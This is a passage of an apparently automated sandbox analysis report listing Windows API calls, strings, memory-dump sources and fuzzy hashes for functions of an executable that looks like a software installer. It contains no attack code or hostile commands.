FindResourceW.KERNEL32(?,?,?,00444A48,?,00000001,00000000,?,0046A152,00000000,00000000,?,006D479C,?,?,006AB298), ref: 0046A227
LoadResource.KERNEL32(?,0046A2AC,?,?,?,00444A48,?,00000001,00000000,?,0046A152,00000000,00000000,?,006D479C,?), ref: 0046A241
SizeofResource.KERNEL32(?,0046A2AC,?,0046A2AC,?,?,?,00444A48,?,00000001,00000000,?,0046A152,00000000,00000000), ref: 0046A25B
LockResource.KERNEL32(00469AF8,00000000,?,0046A2AC,?,0046A2AC,?,?,?,00444A48,?,00000001,00000000,?,0046A152,00000000), ref: 0046A265

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: fc1199bd8b7576b79735118972852dd1a7e8ba42b3ca2b0218e849eb7ba95f41
Instruction ID: 65ec82024f0050d62c5aa18a9d59af1631c7c5e859e50fdde1c6790020d80a24
Opcode Fuzzy Hash: fc1199bd8b7576b79735118972852dd1a7e8ba42b3ca2b0218e849eb7ba95f41
Instruction Fuzzy Hash: FBF081B36006046F4745EE9DA881D9B77ECEE89364310015FF908D7302EA39DD51477E

Uniqueness

Uniqueness Score: -1.00%

Function 0060F9A0, Relevance: 6.0, APIs: 4, Instructions: 48registrywindowCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(?,00000000,?,00000002,00000000,?,?,?,?,0062AA5C), ref: 0060F9EA
RegCloseKey.ADVAPI32(00000000,?,00000000,?,00000002,00000000,?,?,?,?,0062AA5C), ref: 0060F9F3
RemoveFontResourceW.GDI32(00000000), ref: 0060FA00
SendNotifyMessageW.USER32(0000FFFF,0000001D,00000000,00000000), ref: 0060FA14

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseDeleteFontMessageNotifyRemoveResourceSendValue
String ID:
API String ID: 261542597-0
Opcode ID: 4d4d293d1f9dbc20c21e2411ca59a7708ade3ad13bf949b9de564e238f8cc3c4
Instruction ID: dfbc53e8f1cdd66ec9ebb9bd66f4992ca480b4c62771c623e92dda120a3c2ed9
Opcode Fuzzy Hash: 4d4d293d1f9dbc20c21e2411ca59a7708ade3ad13bf949b9de564e238f8cc3c4
Instruction Fuzzy Hash: 98F0C87278430177D630B7B65C4BFAF128D4FC5744F60493DB604EB3C2D668D84142A9

Uniqueness

Uniqueness Score: -1.00%

Function 0050E958, Relevance: 6.0, APIs: 4, Instructions: 35threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(00000000), ref: 0050E965
GetCurrentProcessId.KERNEL32(?,00000000,00000000,005BA39A,?,?,00000000,00000001,005B8697,?,00000000,00000000,00000000,00000000), ref: 0050E96E
GlobalFindAtomW.KERNEL32(00000000), ref: 0050E983
GetPropW.USER32(00000000,00000000), ref: 0050E99A

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$AtomCurrentFindGlobalPropThreadWindow
String ID:
API String ID: 2582817389-0
Opcode ID: d2063d6d394e8f62765d83b803eda28d99256e3f1fe5fb1cd52194ae8a2630a5
Instruction ID: e102eef170da63bf505a6d713c1113ee4801a35bc19e545ba3a982a5f04e7684
Opcode Fuzzy Hash: d2063d6d394e8f62765d83b803eda28d99256e3f1fe5fb1cd52194ae8a2630a5
Instruction Fuzzy Hash: B3F0ECA160511167CF60BBB65C8787F5A8C9FC43D03351D2BF945DB182D924CC8142FE

Uniqueness

Uniqueness Score: -1.00%

Function 006A4790, Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008), ref: 006A4799
OpenProcessToken.ADVAPI32(00000000,00000008), ref: 006A479F
GetTokenInformation.ADVAPI32(00000008,00000012(TokenIntegrityLevel),00000000,00000004,00000008,00000000,00000008), ref: 006A47C1
CloseHandle.KERNEL32(00000000,00000008,TokenIntegrityLevel,00000000,00000004,00000008,00000000,00000008), ref: 006A47D2

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 50a0dd33171f56d43b5bd2971d4e4b19e0fdfd2185010e1c04c4a4d9079a78cb
Instruction ID: 10da8f8c74a3241f5e02fb80210d1ec53806dfcf86ee80de0044891c11e458d6
Opcode Fuzzy Hash: 50a0dd33171f56d43b5bd2971d4e4b19e0fdfd2185010e1c04c4a4d9079a78cb
Instruction Fuzzy Hash: 2AF0A0706043003BD300EAB58C82E9B37DCAF85711F00482DBA98C7280DA78ED489762

Uniqueness

Uniqueness Score: -1.00%

Function 004F5540, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 004F5549
SelectObject.GDI32(00000000,058A00B4), ref: 004F555B
GetTextMetricsW.GDI32(00000000,?,00000000,058A00B4,00000000), ref: 004F5566
ReleaseDC.USER32 ref: 004F5577

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsObjectReleaseSelectText
String ID:
API String ID: 2013942131-0
Opcode ID: 14fbe85bcd4cf3be47bb432825b68447d7e4ed233deadf784685ce309785678e
Instruction ID: 658a988d36d71ce3bab16ef7ee104d6016508106ebe8fbf8f6d71eaa57139fcf
Opcode Fuzzy Hash: 14fbe85bcd4cf3be47bb432825b68447d7e4ed233deadf784685ce309785678e
Instruction Fuzzy Hash: 43E04871E169A433D61161662C42BEB25498F423A9F08111BFF44992D5DA0DCD4042FD

Uniqueness

Uniqueness Score: -1.00%

Function 0060EC98, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 0060ED34
GetLastError.KERNEL32(00000000,0060ED7C,?,?,?,00000001), ref: 0060ED43

Part of subcall function 005C61D8: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 005C61EB

Strings

<, xrefs: 0060ECEE

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryErrorExecuteLastShellSystem
String ID: <
API String ID: 893404051-4251816714
Opcode ID: 480ba7d80929159cff1dc9196e4ab957db805e1bfd706933b8e8c71d327d0e34
Instruction ID: e241974b84c1913d27331e1b8670269cd021abd25e4475656a32ed52160d5831
Opcode Fuzzy Hash: 480ba7d80929159cff1dc9196e4ab957db805e1bfd706933b8e8c71d327d0e34
Instruction Fuzzy Hash: 76216B70A40219DFDB14EFA9C886ADE7BF9EF49344F50043AF804A72D1E7759A418B98

Uniqueness

Uniqueness Score: -1.00%

Function 006B5B7E, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097), ref: 006B5BBE

Strings

@, xrefs: 006B5B84
/INITPROCWND=$%x , xrefs: 006B5BEE

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Window
String ID: /INITPROCWND=$%x $@
API String ID: 2353593579-4169826103
Opcode ID: 0da45c906bc462cfda2b55ec21fdaafc96ca9e8939f242fc2e36ad7194794db2
Instruction ID: a54ba8f7f6fb51cac07e83dc6930cd9f58dc65c08491e71cf19d1336e0aa8d26
Opcode Fuzzy Hash: 0da45c906bc462cfda2b55ec21fdaafc96ca9e8939f242fc2e36ad7194794db2
Instruction Fuzzy Hash: F921C070A047098FCB00EBA4E891BFEBBF6EB89314F50447AE505D7291EB74A9448B54

Uniqueness

Uniqueness Score: -1.00%

Function 006B52AC, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 006B5319
CloseHandle.KERNEL32(006B53C4,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,006B5380,?,006B5370,00000000), ref: 006B5336

Part of subcall function 006B5200: GetLastError.KERNEL32(00000000,006B529D,?,?,?), ref: 006B5223

Strings

D, xrefs: 006B52F3

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleLastProcess
String ID: D
API String ID: 3798668922-2746444292
Opcode ID: 833fbd99d152daf2e52a47816dc75679bbddeb5de7bee5dcb9934dcf4c862459
Instruction ID: 4eb0c59f4803b7506f5ff6830a9c1deb5937146a7a7730e05c7aa181d319c706
Opcode Fuzzy Hash: 833fbd99d152daf2e52a47816dc75679bbddeb5de7bee5dcb9934dcf4c862459
Instruction Fuzzy Hash: 1C1182B1604608AFD704EBA5DC92FEE77EDEF08304F91007AF605E7281E6745E448758

Uniqueness

Uniqueness Score: -1.00%

Function 00435600, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(>YC), ref: 00435610

Part of subcall function 0040A61C: SysReAllocStringLen.OLEAUT32(00000000,?,?), ref: 0040A636

Strings

>YC, xrefs: 0043560C, 00435630, 00435663, 0043560F, 00435633
cYC, xrefs: 0043564E

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocInitStringVariant
String ID: >YC$cYC
API String ID: 4010818693-2962211312
Opcode ID: 95145bfc45b7620ee9ddcdd8df841c505c76c4f986ac1c97678f8ad24fa23931
Instruction ID: 5a220649ebee1d9f27268bcd1ac9fa6249c44259e217bc11eddfa162a287c46a
Opcode Fuzzy Hash: 95145bfc45b7620ee9ddcdd8df841c505c76c4f986ac1c97678f8ad24fa23931
Instruction Fuzzy Hash: A8F08170700604AFD700EB95CD42E9EB7FCEB8D700FA04576F204E3291DA346E048669

Uniqueness

Uniqueness Score: -1.00%

Function 006B7568, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 006AB828: FreeLibrary.KERNEL32(00000000,006B7594,00000000,006B75A3,?,?,?,?,?,006B8087), ref: 006AB83E

Part of subcall function 006AB518: GetTickCount.KERNEL32 ref: 006AB560

Part of subcall function 00614EC0: SendMessageW.USER32(00000000,00000B01,00000000,00000000), ref: 00614EDF

GetCurrentProcess.KERNEL32(00000001,?,?,?,?,006B8087), ref: 006B75BD
TerminateProcess.KERNEL32(00000000,00000001,?,?,?,?,006B8087), ref: 006B75C3

Strings

Detected restart. Removing temporary directory., xrefs: 006B7577

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CountCurrentFreeLibraryMessageSendTerminateTick
String ID: Detected restart. Removing temporary directory.
API String ID: 1717587489-3199836293
Opcode ID: 9d8c6a5e71bce1eaabc020f983e6a3b3e943ad5cbfd447bc04c93601dbcaea22
Instruction ID: eb50edc141b176b4c4c2d30214ac255ec0ff1137937d64bc1826d6109f125fe4
Opcode Fuzzy Hash: 9d8c6a5e71bce1eaabc020f983e6a3b3e943ad5cbfd447bc04c93601dbcaea22
Instruction Fuzzy Hash: FAE02BF260C6042ED3613BB5BC02DE67F9FEBC7364751043AF40482902CD1968C18778

Uniqueness

Uniqueness Score: -1.00%

Function 005C750C, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Part of subcall function 005C759C: GetModuleHandleW.KERNEL32(user32.dll,ShutdownBlockReasonDestroy,?,?,005C751A,?,?,?,006B66A5,0000000A,00000002,00000001,00000031,00000000,006B68D5), ref: 005C75AA

GetModuleHandleW.KERNEL32(user32.dll,ShutdownBlockReasonCreate,?,?,?,006B66A5,0000000A,00000002,00000001,00000031,00000000,006B68D5,?,00000000,006B69A2), ref: 005C7524

Part of subcall function 00414020: GetProcAddress.KERNEL32(?,?), ref: 0041404A

Strings

ShutdownBlockReasonCreate, xrefs: 005C751A
user32.dll, xrefs: 005C751F

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModule$AddressProc
String ID: ShutdownBlockReasonCreate$user32.dll
API String ID: 1883125708-2866557904
Opcode ID: efebfd98173b0eafe801dbdb02c234ba5fe6efea653fc4811e05af60f83a25fa
Instruction ID: 7e2c108bb10f7f082d0db0eee0b4291c943f7f38440bc59f5173c01314d4ac5e
Opcode Fuzzy Hash: efebfd98173b0eafe801dbdb02c234ba5fe6efea653fc4811e05af60f83a25fa
Instruction Fuzzy Hash: 68E0C2B23482152FC20172FF2C85F6F4E8CEDCD75A310043EF605E2502E958CD0209AC

Uniqueness

Uniqueness Score: -1.00%

Function 005C6204, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetSystemWow64DirectoryW,?,0060CFD8,00000000,0060D0AA,?,?,006D479C,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005C621E

Part of subcall function 00414020: GetProcAddress.KERNEL32(?,?), ref: 0041404A

Strings

GetSystemWow64DirectoryW, xrefs: 005C6214
kernel32.dll, xrefs: 005C6219

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 1646373207-1816364905
Opcode ID: 62b8e0f0a56936aa9a12e08c2800317b2c896f52e35f249fadc7c93598274ed8
Instruction ID: c75d70e110fee00d4030cd3977e0a9c06a7ab18f3cb046c04c9789280543d232
Opcode Fuzzy Hash: 62b8e0f0a56936aa9a12e08c2800317b2c896f52e35f249fadc7c93598274ed8
Instruction Fuzzy Hash: 09E086B874070116DB2072FA5CC3F9B1A8B6BC4714F10443E7B54D62C6EDADDA8442DA

Uniqueness

Uniqueness Score: -1.00%

Function 005C73C0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,?,005C74B6,?,00000004,006CBEB0,00614DAA,00615224,00614CC8,00000000,00000B06,00000000,00000000), ref: 005C73D7

Part of subcall function 00414020: GetProcAddress.KERNEL32(?,?), ref: 0041404A

Strings

user32.dll, xrefs: 005C73D2
ChangeWindowMessageFilter, xrefs: 005C73CD

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: ChangeWindowMessageFilter$user32.dll
API String ID: 1646373207-2498399450
Opcode ID: a04977c9df1766bfa9eb39965416b1cc808de74be9259f562920b096e4c3932b
Instruction ID: c2b8af028828c778303b028511c4b48d7ee3342a6cedbc73199b4139695af62d
Opcode Fuzzy Hash: a04977c9df1766bfa9eb39965416b1cc808de74be9259f562920b096e4c3932b
Instruction Fuzzy Hash: C4E092B0619204DFDB05AB64EC85F853FD5E78D305F11281EF14092991CBB508D0CB54

Uniqueness

Uniqueness Score: -1.00%

Function 005C759C, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,ShutdownBlockReasonDestroy,?,?,005C751A,?,?,?,006B66A5,0000000A,00000002,00000001,00000031,00000000,006B68D5), ref: 005C75AA

Part of subcall function 00414020: GetProcAddress.KERNEL32(?,?), ref: 0041404A

Strings

user32.dll, xrefs: 005C75A5
ShutdownBlockReasonDestroy, xrefs: 005C75A0

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: ShutdownBlockReasonDestroy$user32.dll
API String ID: 1646373207-260599015
Opcode ID: 8390f49b65f4fec2f209d5efc8905e974ae146cd1b5ec0c6a84ab675bf547ecf
Instruction ID: 4e3f113fda4c16e881a5f3aa9ecd558cba9a4971931a60422d60a81ddc808e35
Opcode Fuzzy Hash: 8390f49b65f4fec2f209d5efc8905e974ae146cd1b5ec0c6a84ab675bf547ecf
Instruction Fuzzy Hash: D7D0C7B23167171F551171FA3CD1FDB0E8C5A5D399314047AF600D2941D655CD4119A8

Uniqueness

Uniqueness Score: -1.00%

Function 006B80BC, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,DisableProcessWindowsGhosting,006C36AE,00000001,00000000,006C36D4), ref: 006B80C6

Part of subcall function 00414020: GetProcAddress.KERNEL32(?,?), ref: 0041404A

Strings

DisableProcessWindowsGhosting, xrefs: 006B80BC
user32.dll, xrefs: 006B80C1

Memory Dump Source

